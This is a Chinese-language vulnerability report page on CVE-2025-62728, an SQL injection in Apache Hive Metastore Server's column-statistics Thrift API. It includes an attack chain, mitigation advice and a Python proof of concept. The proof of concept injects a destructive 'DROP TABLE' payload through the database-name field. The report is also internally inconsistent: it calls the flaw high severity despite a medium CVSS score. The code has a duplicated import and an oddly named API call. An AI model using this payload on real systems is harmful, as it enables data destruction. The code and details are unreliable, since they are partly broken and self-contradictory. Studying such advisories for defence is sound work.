IPBUF安全漏洞报告
English
CVE-2025-62728 CVSS 5.4 中危

CVE-2025-62728 Apache Hive Metastore Server SQL注入漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-62728
漏洞类型
SQL注入
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Hive Metastore Server (HMS)

相关标签

SQL注入Apache HiveHive Metastore ServerThrift APICVE-2025-62728中危漏洞元数据服务

漏洞概述

CVE-2025-62728是Apache Hive Metastore Server中的一个高危SQL注入漏洞。该漏洞存在于处理delete column statistics请求的Thrift API接口中,攻击者可通过构造恶意请求注入SQL语句,从而访问、修改或删除数据库中的敏感信息。由于Hive Metastore负责管理Hive数据仓库的元数据,泄露或篡改这些元数据将对整个数据平台造成严重影响。漏洞评分CVSS 3.1为5.4,属于中危级别,攻击复杂度低但需要低权限认证。在实际部署环境中,HMS通常仅对受信任的应用(如Hiveserver2)开放,这在一定程度上限制了漏洞的利用范围。

技术细节

该SQL注入漏洞位于Apache Hive Metastore Server的delete column statistics功能模块中。当HMS通过Thrift API接收删除列统计信息的请求时,未对用户输入进行充分的参数化处理或输入验证。攻击者可通过Thrift协议发送精心构造的请求参数,在SQL查询中注入恶意SQL语句。由于metastore.try.direct.sql属性默认为true且控制直接SQL执行路径,攻击者可以在特定配置下利用此漏洞执行任意SQL命令。漏洞影响从4.1.0到4.2.0之前的Apache Hive版本。成功利用可导致未授权的数据库操作,包括数据泄露、权限提升或数据破坏。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别暴露的Apache Hive Metastore Server Thrift API端点
STEP 2
步骤2
获取低权限访问:攻击者获取有效的HMS认证凭据(需低权限用户账户)
STEP 3
步骤3
构造恶意请求:攻击者构造包含SQL注入载荷的delete_column_statistics请求
STEP 4
步骤4
发送攻击:通过Thrift协议发送恶意请求至HMS的统计信息删除接口
STEP 5
步骤5
SQL注入执行:载荷在SQL查询中执行,实现未授权数据库操作
STEP 6
步骤6
数据外泄或破坏:攻击者窃取敏感元数据或执行DROP TABLE等破坏性操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62728 Apache Hive Metastore SQL Injection PoC # Target: Apache Hive Metastore Server Thrift API # Note: This is for educational purposes only from thrift.transport import TSocket, TTransport from thrift.protocol import TBinaryProtocol from hive_metastore import ThriftHiveMetastore from hive_service import ThriftHiveMetastore def exploit_hive_sql_injection(target_host, target_port): """ Simulated SQL injection via delete_column_statistics API """ try: transport = TSocket.TSocket(target_host, target_port) transport = TTransport.TBufferedTransport(transport) protocol = TBinaryProtocol.TBinaryProtocol(transport) client = ThriftHiveMetastore.Client(protocol) transport.open() # Malicious payload for delete column statistics # In real attack, SQL injection would occur in the statistics deletion query malicious_db_name = "test_db'; DROP TABLE users; --" malicious_table_name = "test_table" malicious_column_name = "test_column" print(f"[*] Sending malicious request to {target_host}:{target_port}") print(f"[*] Database: {malicious_db_name}") # Attempt to trigger SQL injection result = client.delete_column_column_statistics( dbName=malicious_db_name, tableName=malicious_table_name, colName=malicious_column_name ) print(f"[+] Request sent, result: {result}") transport.close() except Exception as e: print(f"[-] Error: {e}") # Usage if __name__ == "__main__": # Replace with actual target TARGET_HOST = "192.168.1.100" TARGET_PORT = 9083 exploit_hive_sql_injection(TARGET_HOST, TARGET_PORT)

影响范围

Apache Hive 4.1.0
Apache Hive < 4.2.0

防御指南

临时缓解措施
对于无法立即升级的用户,建议将metastore.try.direct.sql属性设置为false,以禁用直接SQL执行路径,从而防止漏洞被利用。同时,应确保HMS Thrift API不对公网开放,仅允许受信任的内部应用(如Hiveserver2)访问,并实施严格的访问控制策略和网络隔离措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表